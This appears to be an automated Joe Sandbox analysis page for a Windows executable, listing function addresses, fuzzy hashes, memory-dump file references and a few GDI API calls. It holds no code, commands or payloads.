Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cab88bb81d6f1a3f294bb195b69a7ed404116198194961875d31482ad394f9ff
Instruction ID: cf6672398f9fd1166ea6b0e49c666665845582c66ef9fd576e6fc7edbeb1e875
Opcode Fuzzy Hash: cab88bb81d6f1a3f294bb195b69a7ed404116198194961875d31482ad394f9ff
Instruction Fuzzy Hash: 4CA10875A087418FC318CF29C49085AFBF2BFC9714F198A6DE99987325E770E945CB82

Function 00457270 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4664e54bd8655df0b62760be2564d86677a0bae60cff444b8354291ceb51d8c8
Instruction ID: 1f50781798f3119c0da2509c12f6686573c25bb50fad5659356415efa6122954
Opcode Fuzzy Hash: 4664e54bd8655df0b62760be2564d86677a0bae60cff444b8354291ceb51d8c8
Instruction Fuzzy Hash: 8A71C33550C6828AC711CF28D48466AFFD2ABA6315F0CC6AEDCC99B357D626E90CC791

Function 0046CE40 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1190c11275cd3c0292a3bccd9b6224ea0be3059b393fcbed47cf4bfd764c810d
Instruction ID: 77bb6ef1a33f3c20b2dde98f6b4dff14fe5e63b40d3685670c00f00b3bb910fc
Opcode Fuzzy Hash: 1190c11275cd3c0292a3bccd9b6224ea0be3059b393fcbed47cf4bfd764c810d
Instruction Fuzzy Hash: FD717172A016898FC3049F29FDD0026BBE2F7D5304755823EC5568B3A6EB346819CB9A

Function 004566F4 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e09e427cc0f5c48326d696f622ddb13854d7e20a58c35d846649955e18978596
Instruction ID: d83ab7294f4e5ccce54bbd756e6234d07e89266775608be0692edbadfd78a524
Opcode Fuzzy Hash: e09e427cc0f5c48326d696f622ddb13854d7e20a58c35d846649955e18978596
Instruction Fuzzy Hash: 4A71222520D7C24BC7299B2888A42F6BFE1AFA7301F5D95EED8D64F393C416640DC721

Function 00462620 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c85e5f8c1b8543d5e31b2507d484f8634bc59b4117db2810bbc7b5cb86d4c726
Instruction ID: d4c02437ecf58163639b82e3b155d2f4e05349cccaf8e8e2351781cf2a36ea86
Opcode Fuzzy Hash: c85e5f8c1b8543d5e31b2507d484f8634bc59b4117db2810bbc7b5cb86d4c726
Instruction Fuzzy Hash: 1581073954A7819FC711CF29C0D04A6FBE2BF9E204F5C999DE9C50B316D231A91ACB92

Function 00455040 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 227cb1f07f838f5a0cc6ee8dc100afbc81862ab5380883fc56fe2abe55c5128b
Instruction ID: a959ccb202052fde7cdd7dc0afaf6a6bd3fe700a01a63da93dae035f6ba6bf90
Opcode Fuzzy Hash: 227cb1f07f838f5a0cc6ee8dc100afbc81862ab5380883fc56fe2abe55c5128b
Instruction Fuzzy Hash: 59510521608B504BD305DA2D98A027AFFD29BC9711F1C8AAEC8DAC7712E62598098795

Function 004703C0 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1048d14b3111031d9eabfb3ae544b763ccd838cf41883d901118cce457db1cc6
Instruction ID: 588493233de86155b286bda520d3066f2a8f54cd18f0cc973f9a3b58d16b9391
Opcode Fuzzy Hash: 1048d14b3111031d9eabfb3ae544b763ccd838cf41883d901118cce457db1cc6
Instruction Fuzzy Hash: B451EE32602112CF935C8F39EED8079BAA1F79536131A437FC61A87B52C67495B9CB8C

Function 00456541 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d4d2dea2c165661568dc7cef3cf9871e53b13df2d48047b3dc5f70df1b2c506
Instruction ID: 0b84d20bb2ead416ca4466f921b8148e639d8e1028d46a2664d1f38f75609a1d
Opcode Fuzzy Hash: 4d4d2dea2c165661568dc7cef3cf9871e53b13df2d48047b3dc5f70df1b2c506
Instruction Fuzzy Hash: 1A41273A3192834BC7289E3C84512B6FBA1AF9A302B9947BEC8D5CB743D529950EC754

Function 00456256 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8c27889d51f487b201adba72a386df83b8ac4b76ef92a9fc20cd27d85f323ea
Instruction ID: 710f6d6473d4232747b54b11ced97a3b2721a89833b61f26fa55050e216ee1d8
Opcode Fuzzy Hash: a8c27889d51f487b201adba72a386df83b8ac4b76ef92a9fc20cd27d85f323ea
Instruction Fuzzy Hash: 5D518D2520DBE14AC71A973854A95F7FFE29F6B302B4E90EDC8DA8B323C516510DC764

Function 00457EE0 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0dd68ae8d79096bfff4e7699e13dd193f200550837cc12a82dd0ac9e9194b22
Instruction ID: 4ce9b641c55aedcbf69dbc4131285da1941ada6c76916462ab6c45dd3afbc9cd
Opcode Fuzzy Hash: f0dd68ae8d79096bfff4e7699e13dd193f200550837cc12a82dd0ac9e9194b22
Instruction Fuzzy Hash: 9B41C6327449410BC768CA2AD4A02EBB7D3DBC6702B29C47FC59E9B766D935540CCB84

Function 0044F140 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b4f27dd10139f30faea009d98bf7d04ad43b169fe1efa635cf320682f8d45aa
Instruction ID: d965ac1639302a7ccd57a292a7828b402a4306adb8012940a4e7ade04fe3f8da
Opcode Fuzzy Hash: 0b4f27dd10139f30faea009d98bf7d04ad43b169fe1efa635cf320682f8d45aa
Instruction Fuzzy Hash: 33311E3374558203F71DCA2F9CA12BAEAD34FC522872DD57E99C987356ECFA481B4144

Function 0044EA00 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65c5119fa173ede5b9b94bbf529444acb85f4697f456390ad237f561396959c3
Instruction ID: ccc1bb1d9e978e264246d560306e70d8ca7e93ad88135f98c2d57d3f16e9078a
Opcode Fuzzy Hash: 65c5119fa173ede5b9b94bbf529444acb85f4697f456390ad237f561396959c3
Instruction Fuzzy Hash: 1B3149227B609207D354CEBD9C80577BA93E7C7306B6DCA7CD544C760AC939E8174254

Function 004828C0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e65a41849ba1dff17564a555de7faa284a3be694d3db7f60d411abc468340149
Instruction ID: c5c6a1bbaa53dea32b28b7715f7990948bc07a4e66593878ab926d0adccd9196
Opcode Fuzzy Hash: e65a41849ba1dff17564a555de7faa284a3be694d3db7f60d411abc468340149
Instruction Fuzzy Hash: A31108F7300046439614AA2AD7B02BFE795DBC6320F2D4A6BD0854B354D6ED9945D70C

Function 0041F502 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c43cee99a0f5a1ea0b6b04c12eb68e8ef64dabdf593df91b1ea06dbc78e480a
Instruction ID: cb65ea0ec2f7a2280925415c1b763b3674cbcb15351392ecba84f1f9ee8b4be7
Opcode Fuzzy Hash: 3c43cee99a0f5a1ea0b6b04c12eb68e8ef64dabdf593df91b1ea06dbc78e480a
Instruction Fuzzy Hash: 89D0A7B2D1525152C7241D486845697A9940F57304F4D587FFD44A2327E7BCCD8683AF

Function 00407136 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4166609f46e1e3870822f18e47ad906b85be3cb121b05c48cc550c3ccd7ee5f7
Instruction ID: 4f0b5e6ba5409f95715faf934fa4a4167c5fb1b3ad6436835c47d9fa3889b754
Opcode Fuzzy Hash: 4166609f46e1e3870822f18e47ad906b85be3cb121b05c48cc550c3ccd7ee5f7
Instruction Fuzzy Hash: EAD0C93425474ACFDB11CF14C0D1B41B3A8EB49748F104071DD419B385D2B8F945CAA2

Function 0043F530 Relevance: 80.0, APIs: 53, Instructions: 459windowsleepCOMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 0043F552

Part of subcall function 00424D40: EnumDisplaySettingsA.USER32(00000000,000000FF,?), ref: 00424D4F

SetStretchBltMode.GDI32(00000000,00000000), ref: 0043F565
CreateCompatibleDC.GDI32(00000000), ref: 0043F572
CreateCompatibleDC.GDI32(00000000), ref: 0043F577
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 0043F5C8
SelectObject.GDI32(00000000,00000000), ref: 0043F5DC
